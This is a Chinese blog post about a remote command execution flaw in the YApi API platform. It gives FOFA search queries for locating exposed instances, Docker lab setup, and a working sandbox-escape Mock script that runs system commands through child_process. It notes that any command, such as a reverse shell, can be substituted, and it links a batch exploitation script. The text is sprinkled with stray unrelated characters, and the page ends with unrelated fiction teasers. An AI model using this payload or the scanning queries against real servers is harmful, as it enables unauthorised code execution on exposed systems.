Yapi遠(yuǎn)程命令執(zhí)行漏洞

0x01 前言

Yapi 由 YMFE開源岩四,旨在為開發(fā)、產(chǎn)品哥攘、測試人員提供更優(yōu)雅的接口管理服務(wù)剖煌,可以幫助開發(fā)者輕松創(chuàng)建材鹦、發(fā)布、維護API耕姊。

安全人員在Yapi官方Github倉庫提交了漏洞issues侠姑,地址為:https://github.com/YMFE/yapi/issues/2233

0x02 漏洞描述

YAPI接口管理平臺是國內(nèi)某旅行網(wǎng)站的大前端技術(shù)中心開源項目箩做,使用mock數(shù)據(jù)/腳本作為中間交互層莽红,為前端后臺開發(fā)與測試人員提供更優(yōu)雅的接口管理服務(wù),該系統(tǒng)被國內(nèi)較多知名互聯(lián)網(wǎng)企業(yè)所采用邦邦。

YApi 是高效安吁、易用、功能強大的 api 管理平臺燃辖。但因為大量用戶使用 YAPI的默認(rèn)配置并允許從外部網(wǎng)絡(luò)訪問 YApi服務(wù)鬼店,導(dǎo)致攻擊者注冊用戶后,即可通過 Mock功能遠(yuǎn)程執(zhí)行任意代

0x03 FOFA語句

app="YApi"
icon_hash="-715193973"

0x04 Yapi部署教程

使用Docker構(gòu)建Yapi(Ubuntu環(huán)境)黔龟。

啟動mongodb妇智。

docker run -d --name mongo-yapi -p 27017:27017 mongo

獲取 Yapi 鏡像,版本信息可在 阿里云鏡像倉庫查看

docker pull registry.cn-hangzhou.aliyuncs.com/anoy/yapi

自定義配置文件掛載到目錄/api/config.json氏身,宿主機/config/config.json 內(nèi)容為以下代碼:

{
  "port": "3000",
  "adminAccount": "admin@qq.com",
  "db": {
    "servername": "mongo-yapi",
    "DATABASE": "yapi",
    "port": 27017
  },
  "mail": {
    "enable": true,//郵件通知
    "host": "smtp.qq.com",//郵箱服務(wù)器
    "port": 465,
    "from": "admin@qq.com",//發(fā)件人郵箱
    "auth": {
      "user": "adminadmin@qq.com",//郵箱服務(wù)器賬號
      "pass": "123456"http://郵箱服務(wù)器密碼
    }
  }
}

初始化Yapi數(shù)據(jù)庫索引及管理員賬號巍棱。


docker run -it --rm \
  -v /config/config.json:/api/config.json \
  --link mongo-yapi:mongo \
  --entrypoint npm \
  --workdir /api/vendors \
  registry.cn-hangzhou.aliyuncs.com/anoy/yapi \
  run install-server

啟動Yapi服務(wù)。


docker run -d \
  -v /config/config.json:/api/config.json \
  --name yapi \
  --link mongo-yapi:mongo \
  --workdir /api/vendors \
  -p 3000:3000 \
  registry.cn-hangzhou.aliyuncs.com/anoy/yapi \
  server/app.js

訪問http://localhost:3000登錄賬號admin@qq.com蛋欣,密碼 123456航徙。

0x05 漏洞利用

注冊用戶

利用前提為Yapi開啟了注冊功能,打開靶機地址陷虎,注冊一個賬號到踏。


添加項目

添加一個項目。


輸入項目名稱尚猿,輸入完成后點擊創(chuàng)建名稱


添加接口

點擊添加接口


輸入接口名稱和接口路徑窝稿,輸入完成后點擊提交


添加Mock腳本

點擊高級Mock,并打開腳本頁面


開啟腳本凿掂,輸入Mock腳本

腳本內(nèi)容:

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("whoami").toString()

點擊保存伴榔,打開預(yù)覽界面。訪問Mock地址即可執(zhí)行命令缠劝。


訪問Mock地址

成功獲取當(dāng)前用戶


可將Mock腳本中的whoami改成任意語句潮梯,可執(zhí)行反彈shell等操作骗灶。

修復(fù)建議

該漏洞暫無補丁惨恭。

臨時修復(fù)建議:

  1. 關(guān)閉YAPI用戶注冊功能,以阻斷攻擊者注冊耙旦。

  2. 利用請求白名單的方式限制 YAPI 相關(guān)端口脱羡。

  3. 排查 YAPI 服務(wù)器是否存在惡意訪問記錄萝究。

批量腳本:https://raw.githubusercontent.com/ad-calcium/vuln_script/main/Yapi%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.py

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市锉罐,隨后出現(xiàn)的幾起案子帆竹,更是在濱河造成了極大的恐慌,老刑警劉巖脓规,帶你破解...
    沈念sama閱讀 212,816評論 6 492
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件栽连,死亡現(xiàn)場離奇詭異,居然都是意外死亡侨舆,警方通過查閱死者的電腦和手機秒紧,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 90,729評論 3 385
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來挨下,“玉大人熔恢,你說我怎么就攤上這事〕舭剩” “怎么了叙淌?”我有些...
    開封第一講書人閱讀 158,300評論 0 348
  • 文/不壞的土叔 我叫張陵,是天一觀的道長愁铺。 經(jīng)常有香客問我鹰霍,道長,這世上最難降的妖魔是什么茵乱? 我笑而不...
    開封第一講書人閱讀 56,780評論 1 285
  • 正文 為了忘掉前任衅谷,我火速辦了婚禮,結(jié)果婚禮上似将,老公的妹妹穿的比我還像新娘获黔。我一直安慰自己,他們只是感情好在验,可當(dāng)我...
    茶點故事閱讀 65,890評論 6 385
  • 文/花漫 我一把揭開白布玷氏。 她就那樣靜靜地躺著,像睡著了一般腋舌。 火紅的嫁衣襯著肌膚如雪盏触。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 50,084評論 1 291
  • 那天块饺,我揣著相機與錄音赞辩,去河邊找鬼。 笑死授艰,一個胖子當(dāng)著我的面吹牛辨嗽,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播淮腾,決...
    沈念sama閱讀 39,151評論 3 410
  • 文/蒼蘭香墨 我猛地睜開眼糟需,長吁一口氣:“原來是場噩夢啊……” “哼屉佳!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起洲押,我...
    開封第一講書人閱讀 37,912評論 0 268
  • 序言:老撾萬榮一對情侶失蹤武花,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后杈帐,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體体箕,經(jīng)...
    沈念sama閱讀 44,355評論 1 303
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 36,666評論 2 327
  • 正文 我和宋清朗相戀三年挑童,在試婚紗的時候發(fā)現(xiàn)自己被綠了干旁。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 38,809評論 1 341
  • 序言:一個原本活蹦亂跳的男人離奇死亡炮沐,死狀恐怖争群,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情大年,我是刑警寧澤换薄,帶...
    沈念sama閱讀 34,504評論 4 334
  • 正文 年R本政府宣布,位于F島的核電站翔试,受9級特大地震影響轻要,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜垦缅,卻給世界環(huán)境...
    茶點故事閱讀 40,150評論 3 317
  • 文/蒙蒙 一冲泥、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧壁涎,春花似錦凡恍、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,882評論 0 21
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至竟坛,卻和暖如春闽巩,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背担汤。 一陣腳步聲響...
    開封第一講書人閱讀 32,121評論 1 267
  • 我被黑心中介騙來泰國打工涎跨, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人崭歧。 一個月前我還...
    沈念sama閱讀 46,628評論 2 362
  • 正文 我出身青樓隅很,卻偏偏與公主長得像,于是被迫代替她去往敵國和親驾荣。 傳聞我的和親對象是個殘疾皇子外构,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 43,724評論 2 351